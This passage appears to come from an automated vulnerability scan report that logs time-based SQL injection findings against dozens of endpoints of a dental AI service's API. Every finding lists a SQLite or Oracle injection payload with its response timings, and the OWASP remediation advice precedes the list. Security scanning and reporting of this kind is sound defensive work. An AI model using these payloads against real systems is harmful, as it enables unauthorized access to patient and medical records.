Other Info	The query time is controllable using parameter value [90' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [6,517] milliseconds, when the original unmodified query with value [90] took [258] milliseconds
Instances	88 Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?' If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries. If database Stored Procedures can be used, use them.
Solution	Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality! Do not create dynamic SQL queries using simple string concatenation. Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact. Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40021

High	SQL Injection - SQLite
Description	SQL injection may be possible.
URL	https://api.velmeni.ai/api/analytics/doctor_stats?organization_id=7&source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [773] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, when the original unmodified query with value [7] took [1,355] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [773] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, when the original unmodified query with value [7] took [1,355] milliseconds.
URL	https://api.velmeni.ai/api/analytics/generate_visit_report?visit_id=115535&report_type=pdf&source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	case randblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000) when not null then 1 else 1 end], which caused the request to take [769] milliseconds, parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,788] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [248] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000) when not null then 1 else 1 end], which caused the request to take [769] milliseconds, parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,788] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [248] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/get/1273?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [864] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,476] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [256] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [864] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,476] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [256] milliseconds.
URL	https://api.velmeni.ai/api/patient/56526/history/?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,181] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [251] milliseconds.
	The query time is controllable using parameter value [case randblob(10000000) when

Other Info	not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,181] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [251] milliseconds.
URL	https://api.velmeni.ai/api/patient/list_image_by_patient/137120?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [806] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,667] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [580] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [806] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,667] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [580] milliseconds.
URL	https://api.velmeni.ai/api/analytics/add_medical_note
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,013] milliseconds, when the original unmodified query with value [https://app.velmeni.ai/doctor/patients/10/1170/profile/39207/print_report] took [260] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,013] milliseconds, when the original unmodified query with value [https://app.velmeni.ai/doctor/patients/10/1170/profile/39207/print_report] took [260] milliseconds.
URL	https://api.velmeni.ai/api/analytics/add_medical_note
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,279] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,764] milliseconds, when the original unmodified query with value [1817] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,279] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,764] milliseconds, when the original unmodified query with value [1817] took [771] milliseconds.
URL	https://api.velmeni.ai/api/analytics/get_comparison_report
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,746] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,841] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [3,301] milliseconds.
	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,746] milliseconds,

Other Info	parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,841] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [3,301] milliseconds.
URL	https://api.velmeni.ai/api/analytics/logged_in_users
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [265] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [526] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [3,615] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [265] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [526] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [3,615] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [939] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,902] milliseconds, when the original unmodified query with value [2000004998580] took [1,889] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [939] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,902] milliseconds, when the original unmodified query with value [2000004998580] took [1,889] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,129] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,744] milliseconds, when the original unmodified query with value [ritika] took [961] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,129] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,744] milliseconds, when the original unmodified query with value [ritika] took [961] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [959] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,942] milliseconds, when the original unmodified query with value [2022- 09-21] took [1,438] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [959] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,942] milliseconds, when the original unmodified query with value [2022- 09-21] took [1,438] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,523] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,793] milliseconds, when the original unmodified query with value [test5.jpg] took [930] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,523] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,793] milliseconds, when the original unmodified query with value [test5.jpg] took [930] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,870] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,792] milliseconds, when the original unmodified query with value [periapical] took [1,488] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,870] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,792] milliseconds, when the original unmodified query with value [periapical] took [1,488] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,804] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,226] milliseconds, when the original unmodified query with value [xray] took [1,470] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,804] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,226] milliseconds, when the original unmodified query with value [xray] took [1,470] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,936] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,974] milliseconds, when the original unmodified query with value [105] took [1,374] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,936] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,974] milliseconds, when the original unmodified query with value [105] took [1,374] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,313] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,580] milliseconds, when the original unmodified query with value [3] took [1,047] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,313] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,580] milliseconds, when the original unmodified query with value [3] took [1,047] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_patients
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [268] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [718] milliseconds, when the original unmodified query with value [Roy] took [822] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [268] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [718] milliseconds, when the original unmodified query with value [Roy] took [822] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,117] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,171] milliseconds, when the original unmodified query with value [India] took [1,442] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,117] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,171] milliseconds, when the original unmodified query with value [India] took [1,442] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,897] milliseconds, when the original unmodified query with value [1] took [266] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,897] milliseconds, when the original unmodified query with value [1] took [266] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter
Evidence	value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, when the original unmodified query with value [K] took [257] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, when the original unmodified query with value [K] took [257] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [818] milliseconds, when the original unmodified query with value [K] took [1,071] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [818] milliseconds, when the original unmodified query with value [K] took [1,071] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [583] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [730] milliseconds, when the original unmodified query with value [DR1001] took [1,162] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [583] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [730] milliseconds, when the original unmodified query with value [DR1001] took [1,162] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [954] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,696] milliseconds, when the original unmodified query with value [xsdbghenjkrckagjebz mh] took [2,326] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [954] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,696] milliseconds, when the original unmodified query with value [xsdbghenjkrckagjebz mh] took [2,326] milliseconds.
URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [451] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,047] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [260] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [451] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,047] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [260] milliseconds.

URL	https://api.velmeni.ai/api/organizations/add
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [785] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,163] milliseconds, when the original unmodified query with value [test1004] took [255] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [785] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,163] milliseconds, when the original unmodified query with value [test1004] took [255] milliseconds.
URL	https://api.velmeni.ai/api/organizations/add
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [812] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,107] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [253] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [812] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,107] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [253] milliseconds.
URL	https://api.velmeni.ai/api/organizations/add
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [304] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [595] milliseconds, when the original unmodified query with value [test 1234] took [254] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [304] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [595] milliseconds, when the original unmodified query with value [test 1234] took [254] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/add
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [771] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [786] milliseconds, when the original unmodified query with value [ds] took [256] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [771] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the
Info	request to take [786] milliseconds, when the original unmodified query with value [ds] took [256] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/add
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [929] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [947] milliseconds, when the original unmodified query with value [test123] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [929] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [947] milliseconds, when the original unmodified query with value [test123] took [771] milliseconds.
URL	https://api.velmeni.ai/api/organizations/save_features
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [939] milliseconds, when the original unmodified query with value [patient_list_recent] took [259] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [939] milliseconds, when the original unmodified query with value [patient_list_recent] took [259] milliseconds.
URL	https://api.velmeni.ai/api/organizations/save_features
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, when the original unmodified query with value [false] took [257] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, when the original unmodified query with value [false] took [257] milliseconds.
URL	https://api.velmeni.ai/api/organizations/save_features
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,024] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,418] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,157] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,024] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,418] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,157] milliseconds.
URL	https://api.velmeni.ai/api/patient/create

Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [870] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [925] milliseconds, when the original unmodified query with value [female] took [257] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [870] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [925] milliseconds, when the original unmodified query with value [female] took [257] milliseconds.
URL	https://api.velmeni.ai/api/patient/create
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [760] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [767] milliseconds, when the original unmodified query with value [bansal] took [1,449] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [760] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [767] milliseconds, when the original unmodified query with value [bansal] took [1,449] milliseconds.
URL	https://api.velmeni.ai/api/patient/get_s3_auth_urls?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [695] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [822] milliseconds, when the original unmodified query with value [1] took [1,180] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [695] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [822] milliseconds, when the original unmodified query with value [1] took [1,180] milliseconds.
URL	https://api.velmeni.ai/api/patient/list_by_appointment/1173
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,022] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,022] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/add?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [761] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,206] milliseconds, when the original unmodified query with value [] took [249] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [761] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,206] milliseconds, when the original unmodified query with value [] took [249] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/analyze/2202
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [255] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [756] milliseconds, when the original unmodified query with value [periapical] took [276] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [255] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [756] milliseconds, when the original unmodified query with value [periapical] took [276] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,399] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,516] milliseconds, when the original unmodified query with value [1224] took [374] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,399] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,516] milliseconds, when the original unmodified query with value [1224] took [374] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [781] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,794] milliseconds, when the original unmodified query with value [452] took [1,335] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [781] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,794] milliseconds, when the original unmodified query with value [452] took [1,335] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,513] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the

request to take [2,390] milliseconds, when the original unmodified query with value [0.09743337333202362] took [1,320] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,513] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,390] milliseconds, when the original unmodified query with value [0.09743337333202362] took [1,320] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,766] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,691] milliseconds, when the original unmodified query with value [0.9137791991233826] took [1,558] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,766] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,691] milliseconds, when the original unmodified query with value [0.9137791991233826] took [1,558] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

